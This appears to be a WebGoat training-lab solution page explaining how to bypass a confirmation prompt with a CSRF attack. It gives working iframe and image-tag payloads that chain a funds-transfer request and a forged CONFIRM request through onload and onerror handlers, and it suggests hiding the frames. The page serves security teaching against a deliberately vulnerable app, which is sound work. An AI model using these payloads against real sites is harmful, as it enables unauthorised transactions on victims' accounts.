git-svn-id: http://webgoat.googlecode.com/svn/branches/webgoat-6.0@485 4033779f-a91e-0410-96ef-6bf7bf53c507
		
			
				
	
	
		
			110 lines
		
	
	
		
			7.9 KiB
		
	
	
	
		
			HTML
		
	
	
	
	
	
			
		
		
	
	
			110 lines
		
	
	
		
			7.9 KiB
		
	
	
	
		
			HTML
		
	
	
	
	
	
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 | 
						|
<html>
 | 
						|
<head>
 | 
						|
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
 | 
						|
<title>Client Side Filtering</title>
 | 
						|
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
 | 
						|
</head>
 | 
						|
<body>
 | 
						|
<p><b>Lesson Plan Title:</b>Prompt By-Pass with CSRF</p>
 | 
						|
 | 
						|
<p><b>Concept / Topic To Teach:</b><br/>
 | 
						|
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing 
 | 
						|
multiple requests to by-pass a scriptable user-prompt
 | 
						|
</p> 
 | 
						|
 | 
						|
<p><b>General Goal(s):</b><br/>
 | 
						|
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple 
 | 
						|
malicious requests: the first to transfer funds, and the second a request to confirm the prompt 
 | 
						|
that the first request triggered.  The URL should point to this lesson with an extra 
 | 
						|
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the 
 | 
						|
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever 
 | 
						|
receives this email and happens to be authenticated at that time will have his funds transferred. 
 | 
						|
When you think the attack is successful, refresh the page and you will find the green check on 
 | 
						|
the left hand side menu<br/>
 | 
						|
<b>Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.</b>
 | 
						|
</p>
 | 
						|
 | 
						|
<b>Solution:</b><br/>
 | 
						|
 | 
						|
<p>Start by crafting an image or iframe tag similar to the CSRF LAB: <code><img
 | 
						|
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
 | 
						|
width="1" height="1" /></code> 
 | 
						|
 | 
						|
This image request will not result in a transfer of funds but will instead 
 | 
						|
prompt the user for confirmation.  To see the confirmation prompt, try typing in the URL of the
 | 
						|
Lesson with the extra parameter of "transferFunds=4000" <br/>   
 | 
						|
 
 | 
						|
<img src="lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png" alt="User Prompt for confirmation of the transfer of funds" /><br>
 | 
						|
<font size="2"><b>User Prompt</b></font>
 | 
						|
</p>
 | 
						|
<p>
 | 
						|
Next look at the source of the page to see what parameters the confirmation requires. 
 | 
						|
The form in the confirmation prompt looks like the following:
 | 
						|
<code>
 | 
						|
 | 
						|
<pre id="line548"><<span class="start-tag">form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=5&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
 | 
						|
	<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CONFIRM'</span>>
 | 
						|
	<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CANCEL'</span>>
 | 
						|
</<span class="end-tag">form</span>></pre></code>
 | 
						|
 | 
						|
From this we see the next forged command will need the folllowing URL:  <br/>
 | 
						|
<code>attack?Screen=5&menu=900&transferFunds=CONFIRM</code><br/>
 | 
						|
This solution shows how to do this attack with both iframes and images.  The next step is to 
 | 
						|
add the additional forged confirmation request.  However, an additional iframe or image with 
 | 
						|
this URL will not be sufficient.  The second request must load after the first.  So add 
 | 
						|
Javascript to load the second command after the first.  For iframes, make the onload attribute 
 | 
						|
of the first frame set the src of the second iframe:<br/>
 | 
						|
 | 
						|
<code>
 | 
						|
<pre id="line578"><<span class="start-tag">iframe</span><span class="attribute-name">
 | 
						|
	src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
 | 
						|
	</span><span class="attribute-name">id</span>=<span class="attribute-value">"myFrame" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
 | 
						|
	</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"
 | 
						|
	</span><span class="attribute-name">onload</span>=<span class="attribute-value">"document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';"</span>>
 | 
						|
</pre><pre id="line591"></<span class="end-tag">iframe</span>>
 | 
						|
	
 | 
						|
<<span class="start-tag">iframe</span><span class="attribute-name">
 | 
						|
	id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
 | 
						|
	</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>>
 | 
						|
</<span class="end-tag">iframe</span>>
 | 
						|
</pre>
 | 
						|
</code>
 | 
						|
 | 
						|
Next add the iframes into a message stored on the web page:<br/>
 | 
						|
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png" alt="Picture of embedded message" /><br>
 | 
						|
<font size="2"><b>Insert iframes hack picture</b></font><br/>
 | 
						|
<p>
 | 
						|
The following shows the result of clicking on the malicious iframe message:
 | 
						|
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png" alt="Picture of the malicious iframe message" /><br>
 | 
						|
<font size="2"><b>Results of iframes hack picture</b></font><br/>
 | 
						|
In the above image, note that the first frame shows the user prompt, the result of the 
 | 
						|
first forged request to transfer funds.  In the second frame the results of the second 
 | 
						|
forged request (the confirmation) are shown, indicating that 4000 dollars were successfully 
 | 
						|
transfered.  Refreshing the page will indicate that this lesson has been completed.  
 | 
						|
</p>
 | 
						|
<p>
 | 
						|
In a real attack these results would be hidden from the end user.  Click "restart this lesson" 
 | 
						|
to attempt the attack again, only this time try hiding the attack with hidden or very small frames. 
 | 
						|
</p>
 | 
						|
<p>
 | 
						|
For images, loading an html page as an image will cause an error.  So instead of using the onload attribute, use onerror:
 | 
						|
<br/>
 | 
						|
<code>
 | 
						|
<img
 | 
						|
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
 | 
						|
onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'" 
 | 
						|
width="1" height="1" />
 | 
						|
<img
 | 
						|
id="image2"
 | 
						|
width="1" height="1" />
 | 
						|
</code>
 | 
						|
<br/>
 | 
						|
Next store the malicious images in a message and click the message to attempt the attack. 
 | 
						|
<img src="lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png" alt="Picture of the malicious iframe message" /><br>
 | 
						|
<font size="2"><b>Picture of adding malicious image requests</b></font><br/>
 | 
						|
Refreshing the page should indicate that this lesson has been completed.  Congratulations.  One way for developers to limit
 | 
						|
CSRF attacks is to only allow requests to be issued via HTTP Post.  That would remove any attacks by images or iframes, but 
 | 
						|
not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.    
 | 
						|
</body>
 | 
						|
</html> |